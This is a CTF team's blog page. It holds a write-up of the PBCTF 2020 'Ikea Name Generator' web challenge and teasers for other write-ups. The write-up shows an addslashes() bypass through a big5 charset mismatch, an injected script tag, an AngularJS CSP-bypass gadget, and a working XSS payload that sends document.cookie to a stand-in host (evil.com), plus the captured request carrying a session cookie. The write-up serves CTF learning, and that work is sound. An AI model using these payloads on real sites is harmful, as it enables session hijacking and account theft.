PBCTF 2020 - Ikea Name Generator

XSS, CSP bypass, Character Encoding Issues, Unintended Vulnerability


What's your IKEA name? Mine is SORPOÄNGEN.


By: corb3nik

One of the most useful applications seen on a CTF so far, a name generator to dive into the Swedish culture: a must have for all the people shopping at IKEA like lavish today, see below.

lavish at IKEA

The application provides an input field where users are supposed to insert their name. After clicking on the submit button, an Ikea-like name is displayed. The report page allows us to send arbitrary links to a bot, while the login page can only be accessed by admins with a special cookie. Business as usual, we need to XSS the page to leak the cookie, craft a same-origin link and send it to the bot that will give us its cookie upon executing our payload.

Sit comfortably in your Poäng, get a pack of Festligt and enjoy reading how we discovered an unintended vulnerability to exploit this challenge!


People who worked on the challenge: lavish aka KOT, georg aka MÖRT, prempador aka BETTJANÄR, ckristo aka SOLM, stiefel40k aka BASSLEKATILLÖT and wert310 aka TRUM. Write-up by lavish and revisions by georg, prempador and ckristo.


We bypassed addslashes() by exploiting the discrepancy between server and client side encodings to obtain an unintended XSS in the main page of the application.

Understanding the Code

There's a quite some stuff going on behind the curtains of this simple application.

The rendered HTML code of the page is available here, but these are the most relevant parts.

The Lodash JavaScript library v.4.17.4 is used:

<script src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js"></script>

A JSONP endpoint on /config.php is included in the page using the provided name as the value of the GET parameter name:

<script src="/config.php?name=John"></script>

This page returns something like the following structure that is evaluated as JavaScript code in the context of the page:

  url: "/get_name.php",
  name: "John"

Then, the main script app.js of the application is included:

<script src="/app.js"></script>

And at the end of the HTML we can find a tracking pixel using the image tag:

<img id="tracking-pixel" width=1 height=1 src="/track.php">

This resource is not found on the server, resulting into a redirection to the page handling 404 errors http://ikea-name-generator.chal.perfect.blue/404.php?msg=Sorry,+this+page+is+unavailable.

A look into app.js

The JavaScript code included by the page is provided below as a reference:

function createFromObject(obj) {
  var el = document.createElement("span");

  for (var key in obj) {
    el[key] = obj[key]

  return el

function generateName() {

  var default_config = {
    "style": "color: red;",
    "text": "Could not generate name"

  var output = document.getElementById('output')
  var req = new XMLHttpRequest();

  req.open("POST", CONFIG.url);
  req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
  req.onreadystatechange = function () {

    if (req.readyState === XMLHttpRequest.DONE) {
      if (req.status === 200) {
        var obj = JSON.parse(req.responseText);
        var config = _.merge(default_config, obj)

        sandbox = document.createElement("iframe")
        sandbox.src = "/sandbox.php"
        var el = createFromObject({
          style: config.style,
          innerText: config.text

        sandbox.onload = function () {

  req.send("name=" + CONFIG.name)

window.onload = function() {
  document.getElementById("button-submit").onclick = function() {
    window.location = "/?name=" + document.getElementById("input-name").value


In a nutshell, this script redirects to /?name=<name> after clicking the submit button, then it sends the name via POST to the url attribute of the CONFIG object obtained after evaluating the output of /config.php?name=<name>. The get_name.php page returns a JSON containing our Ikea name, e.g., {"text":"\u00c5SUN"} that is parsed by app.js and merged (using an utility function provided by the Lodash library) with the default_config object into the config variable, to obtain something like:

config = {
    "style": "color: red;",
    "text": "\u00c5SUN"

Finally, an iframe is created with src set to sandbox.php and its content is populated with the newly created config structure.

1-2-3 CSPs

Yes, our name is reflected straight into the index page so we can inject arbitrary markup code. No, we can't trigger an XSS because of CSP. Same for 404.php where the value of the msg parameter is printed by the page without sanitization. Notice however that here the response Content-Type is set to text/plain;charset=UTF-8.

XSS fail

Turns out there are different CSPs protecting 3 pages:

  • /
Content-Security-Policy: default-src 'none';script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js;connect-src 'self';frame-src 'self';img-src 'self';style-src 'self' https://maxcdn.bootstrapcdn.com/;base-uri 'none';
  • /404.php
Content-Security-Policy: default-src 'none'
  • /sandbox.php
Content-Security-Policy: default-src 'none';script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js;style-src 'self' https://maxcdn.bootstrapcdn.com/;connect-src https:;base-uri 'none';

To the End and Back: Planning the Attack Chain

If you are a bit familiar with CSP bypasses, you will immediately realize that the policy shipped on /sandbox.php is vulnerable to a script gadget attack thanks to AngularJS. The XSS cheat sheet on PortSwigger provides gadgets that can be used to run arbitrary JavaScript in the page by sidestepping the CSP, such as:

<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">

All the other CSPs seem to be quite restrictive, so it's pretty obvious that the challenge author designed the task in a way that we end up executing our final payload in the /sandbox.php iframe.

Googling around, we found the included version of the Lodash library to be affected by a protoype pollution vulnerability. This is very interesting, since this would allow us to pollute the config object that is used to populate the iframe.

Remember that we control the value name passed to /config.php, which produces the CONFIG variable that specifies the url used to generate the JSON with our Ikea name:

  url: "/get_name.php",
  name: "John"

If we find a way to alter CONFIG by overwriting the value of the url attribute, we could use the /404.php endpoint to craft an arbitrary JSON structure, perform the parameter pollution and use our nice gadget to XSS the /sandbox.php iframe.

The intended solution exploited DOM clobbering to achieve this exact goal. Neat. None of us remembered that we could do that here. So we did something different :)

Exploiting Like a Swedish

The cool thing about CTFs (or the world in general), is that we all follow different mental paths. While the challenge author used Swedish names as an innocuous Ikea-related pun, those weird signs on top of A and O (i.e., Å, Ä, Ö) triggered us to investigate all sort of attacks concerning encodings. While doing so we missed the obvious, i.e., the DOM clobbering vulnerability as described in the previous section. Indeed, we only focused on abusing the name variable sent to /config.php to obtain something like:

  url: "/get_name.php",
  name: "John",
  url: "/404.php?msg=<data>"

Unfortunately, our payload is escaped by config.php using addslashes(), preventing the string from being closed. As you can see, querying http://ikea-name-generator.chal.perfect.blue/config.php?name=John%22,%20url:%20%22/404.php?msg=foobar results into:

  url: "/get_name.php",
  name: "John\", url: \"\/404.php?msg=foobar"

The most seasoned ones among our readers will remember this old trick to bypass addslashes() and perform a SQL injection on MySQL when the GBK encoding is set. After quite some time we realized that the same principle could be leveraged in this context to close the string.

Simple poc

Let's try to understand what's going on exactly: PHP does not treat %bf%22 as a single multi-byte character, so addslashes() adds a \ between the 2 bytes, returning the equivalent of %bf%5c%22:

php > print_r(unpack('C*', addslashes(urldecode('%bf%22'))));
    [1] => 191 // 0xbf
    [2] => 92  // 0x5c
    [3] => 34  // 0x22

When the page is rendered on Google Chrome, the browser assumes that the charset of the page is http://ash.jp/code/cn/big5tbl.htm, in which %bf%5c is a valid character code that corresponds to the symbol highlighted below:

Valid character code

The discrepancy between the server-side and client-side encodings causes the browser to eat the \ symbol as part of a multi-byte character and to leave alone the " symbol needed to close the string!

Let's step back for a second: all we wanted to do was overwriting the url field of the CONFIG structure, right? Notice however that now we're on track to inject arbitrary JavaScript, so if we are clever enough to craft a payload that does not stumble upon Uncaught SyntaxError, we could entirely skip the prototype pollution vulnerability and XSS the main page! Cool, isn't it?

Alright, checking if the same payload works on the main page:

Wrong charset

Ouch, so now the browser thinks that the charset is utf-8 and our payload is not able to go past the string anymore! Is everything lost? Of course not, you should know that the web platform provides all the pieces to be exploited beyond understanding. The script tag has a deprecated attribute called charset that enforces the specified charset on script loading. The CSP does not prevent us from injecting markup content, so the idea is to inject another script tag with src="/config.php=<XSS>" with the charset attribute set to big5 and execute arbitrary JavaScript code. Notice that by doing so we would end up including 2 different versions of scripts generated by config.php, but we don't care much about the second script if our XSS payload triggers first.

Before finalizing the payload, we test whether this approach is correct by sending a request to /?name=%3Cscript%20charset=big5%20src=config.php?name=test%bf%22. The exception means that we successfully closed the string and caused a syntax error in the script generated by config.php.

Attack successful

Since we only need to leak the cookie to an origin we control, such as evil.com, it is enough to redirect the browser to http://evil.com/<document.cookie> and ignore everything else that might break in the page. This can be done by crafting one attribute of the CONFIG structure, such as:

  url: "/get_name.php",
  name: "璞",
  foo: window.location=`http:\/\/evil.com\/${document.cookie}` // omitted <!-- for clarity

Amazing JS structure

The final payload that worked for us is the following:


By providing it to the admin bot, we obtain the cookie:

GET /session=be2171a063883cd6f356707eb8dd601d6d8ac26a HTTP/1.1
Host: <redacted>
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/88.0.4298.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ikea-name-generator.chal.perfect.blue/?name=%3Cscript%20charset=big5%20src=config.php?name=%bf%22,foo:window.location=`http://<redacted>/${document.cookie}`%3c!--
Accept-Encoding: gzip, deflate

And... profit!



Congrats for reaching the end of this write-up fellow hacker! We hope you had as much fun as we did solving the challenge! And remember, we all know that the Web is a mess, but if you use server-side filtering such as addslashes() and JSONP you're literally shooting yourself in the foot! Cya!

Dragon CTF 2020 - Memory Maze

Solve a Memory Maze by leaking info on mapped memory from /proc/self/map_files

Overview The challenge description goes as follows: Miscellaneous, 287 pts Difficulty: medium (26 solvers) Can you escape my memory maze? Treasure awaits at the end! nc memorymaze.hackable.software 1337 Download File Download archive here Well, let's see if we are able to find the treasure! A look at the...

Read More
SunshineCTF 2020 - Lil Chompy's

pwn, custom heap implementation

Overview Featuring custom heap management, this Pwn challenge lets us embark on a quest to hack into a CLI theme park designer to free the alligator Lil Chompys from the clutches of BSides Orlando. We are given the binary together with its c source code, containing the application as well as a custom heap implementation. A theme park planner First off, the program presents us with a password check. Looking at the source code reveals... int main Read More

VolgaCTF Quals - Netcorp

Ghostcat with RCE

Task Another telecom provider. Hope these guys prepared well enough for the network load... netcorp.q.2020.volgactf.ru Analysis The website is just a plain static site without any interesting content. The only action that you can do is click on the Complaint button, but that leads just to a 404 error page. Using a directory fuzzing tool to check if there is anything of interest not linked to be found, we stumble upon the /docs/ path. It contains a standard public documentation...

Read More
ENOWARS 3 - scavengepad

Unicode Normalization leads to bad things

Overview scavengepad was a ASP .NET Core 2.2 web service, using Entity Framework Core with PostgreSQL for data storage and a Redis instance for session storage. It allows its users to create shared operations and objectives, collaboratively edit associated markdown documents and upload files. 1st vuln: RNG thread-safety (saarsec) Members of the saarsec CTF team have written an excellent writeup of the service and the vulnerability they found – a problem...

Read More
RuCTFE 2019 - Household


About Household is a website which manages cooking recipes. A user can register for an account, either as a cook or as a customer. A cook can: Add products Import prodcuts Add a dish containing a recipe Add a menu Most of that information entered can also be viewed on the website, but sometimes the site just asks to user to call the API instead. User registration and login is done with OpenID Connect (OIDC). The website uses cookies for authorization, the API a...

Read More
hack.lu 2019 - Trees For Future

SSI injection, connect back to local MySQL, second order blind SQLi

Description We are TreesForFuture. We actively work towards getting more trees onto this planet. Recently we hired a contractor to create a website for us. While we still need to fill it with content in some places, you can already look at it Preface Having scored the first blood and with only 2 teams solving the challenge, I thought it was almost mandatory to publish a write-up. I have to say that I really liked it,...

Read More
Tasteless 2019 - Gabbr


Overview gabbr is an online chatroom service. Upon loading the page, one joins a chatroom specified in the anchor part of the URL e.g. https://gabbr.hitme.tasteless.eu/#8f332afe-8f1d-411f-80f3-44bb2302405d. If no name is specified, a random UUID is generated upon join. The main functionality is to send messages in the chatroom. Furthermore, one can change the username to another randomly generated one, join a new random chatroom and report the chatroom to an admin. Upon reporting an admin joins the...

Read More
hack.lu 2019 - Car Repair Shop

prototype pollution, URL regex bypass, DOM-XSS

Challenge Description "Your Car broke down?! Come to our shop, we repair all cars! Even very old ones." Enter the Shop Analysis After accessing the URL of the challenge description the following page showed up: Here we can see several buttons which will execute certain functions when clicked. Below there is a message box which gets updated after some function was executed. At the bottom there was another button named Get your cookie! which lead to...

Read More
SECCON 2018 Quals - Special instructions


General problem description We were given a moxie ELF-Binary which was implementing the xorshift32 PRNG algorithm. The flag and some additional random values were hard-coded into the elf. Solution Similar to the Special device file challenge the binary took the flag xored with a random value hard-coded into to binary and xored again with a value taken from the xorshift32 algorithm. The catch was again, that we didn't know the correct configuration of the algorithm only the seed and...

Read More
SECCON 2018 Quals - Special device file


General problem description We were given a arm64 ELF-Binary which was accessing a special device named xorshift64. The flag and some additional random values were hard-coded into the elf. Solution The ELF does more-or-less the same as this pseudocode: # init device #with open('/dev/xorshift64', 'r') as d: d.write(0x139408fcbbf7a44) # decode flag with open('/dev/xorshift64', 'r') as d: for i Read More

SECCON 2018 Quals - Runme


General problem description Given was a Windows binary, which was apparently waiting to be started with the correct cmd arguments. Solution The binary checked character by character the cmd arguments with a hard-coded value which was: "C:\\Temp\\SECCON2018Online.exe" SECCON{Runn1n6_P47h} The flag was: SECCON{Runn1n6_P47h}...

Read More
SECCON 2018 Quals - Needle in a haystack


General problem description We got a 9 hours long video captured with a webcam on the top of a tall building in Tokyo(?). Find the flag. Solution First our guess was, that there will be a single frame which shows the flag, but fast-forwarding the video did not reveal anything like that. The next idea was to export every frame and use fuzzy hashing to find very different frames. While the script was doing the exporting we were fast-forwarding the...

Read More
HITCON 2018 - EV3 Basic


General problem description For this challenge we got a picture of a Lego Mindstorm EV3, which displays the flag partly (see below). And we also got a pcap (OK, it was in the apple PackageLogger format) with captured Bluetooth transmission. Solution The pcap shows Bluetooth traffic, and wireshark finds furthermore identifies RFCOMM protocol. Some of them includes additional data parts. If you dig around long enough on the internet you can find a wireshark dissector written...

Read More
HITCON 2018 - EV3 Scanner


General problem description Similar to the previous challenge we got two images (see below) and a pcap. Solution Like before we use the found wireshark dissector to see what happens. However this time we find way more relevant packages than before. After some filtering we identified, that the base station sends only four different commands: OUTPUT_TIME_SPEED: go in a direction with a constant speed for given time OUTPUT_STEP_SYNC: turn given "ticks" long OUTPUT_STEP_SPEED: go in...

Read More
Hack.lu CTF 2018 - Rusty CodePad

Rust Safe Code Bypass

Description I heard Rust is a safe programming language. So I built this CodePad where you can compile and run safe Rust code. Initial Situation We had access to a web-terminal with a limited set of commands: $ help help - print this help clear - clear screen ls - list files cat - print file content rusty - compile rusty code version - print version Calling ls reveals a Rust project file structure and a file called flag.txt: $...

Read More
Google CTF Quals 2018 - Back To Basics

C64 BASIC Reversing

General problem description You won't find any assembly in this challenge, only C64 BASIC. Once you get the password, the flag is CTF{password}. P.S. The challenge has been tested on the VICE emulator. We got an old .prg file, which is a C64 program file. Parsing the file First we tried using parsers that exist in the wild, that would parse the file for us, but that proved to be not effective, as there were not many...

Read More
Google CTF Quals 2018 - Shall We Play A Game?

Android APK Reversing

General problem description Win the game 1,000,000 times to get the flag. For this challenge we got an .apk file, which we should apperently run and win 1,000,000 times. We let the online Java-decompiler at http://www.javadecompilers.com/apk. Running the apk on an Android-Phone or emulator shows us the game: Tic Tac Toe. We also get a counter 0/1000000 on the bottom of the screen. Each win increases the counter by one. Naive approach by recompiling the app We...

Read More
Google CTF Quals 2018 - JS Safe

JavaScript Anti-Debug

General problem definition You stumbled upon someone's "JS Safe" on the web. It's a simple HTML file that can store secrets in the browser's localStorage. This means that you won't be able to extract any secret from it (the secrets are on the computer of the owner), but it looks like it was hand-crafted to work only with the password of the owner... The assignment was a Javascript file, which needs the Flag as input. Getting...

Read More
UCSB iCTF 2017 - yacs

Yet another... cat service?!

yacs is a tool to store and later retrieve text snippets. If you store program source code there, it can even compile it for you! So handy. Of course, everything is protected using state-of-the-art user authorization and password hashing. It's a big C++ compiled binary which uses a local SQLite database file for data storage. Here's a normal create/list paste workflow: ___...

Read More

Bitcoin as OP_RETURN Dropbox

The description of the challenge was as follows: There has been some strange transactions on this blockchain! Let's do some research. After downloading and extracting the data (fbi300_64635d9aa64b20d0.7z) is was clear that we where looking at at a .bitcoin folder of a bitcoin-core client hat was started in regtest mode. As a first guess we used bitcoin-abe to read and analyze the blockchain. (https://github.com/bitcoin-abe/bitcoin-abe). Since bitcoin-abe looks out-of-the-box in the default bitcoin directory ($HOME/.bitcoin/blcoks/*) the only thing we...

Read More
TrendMicroCTF 2016 - SCADA 300


The description of the challenge was as follows: In this challenge you are presented with a PCAP that comes from a network infected by a well known SCADA related APT Threat (hint: pay attention to potential C&C) Identify the Read More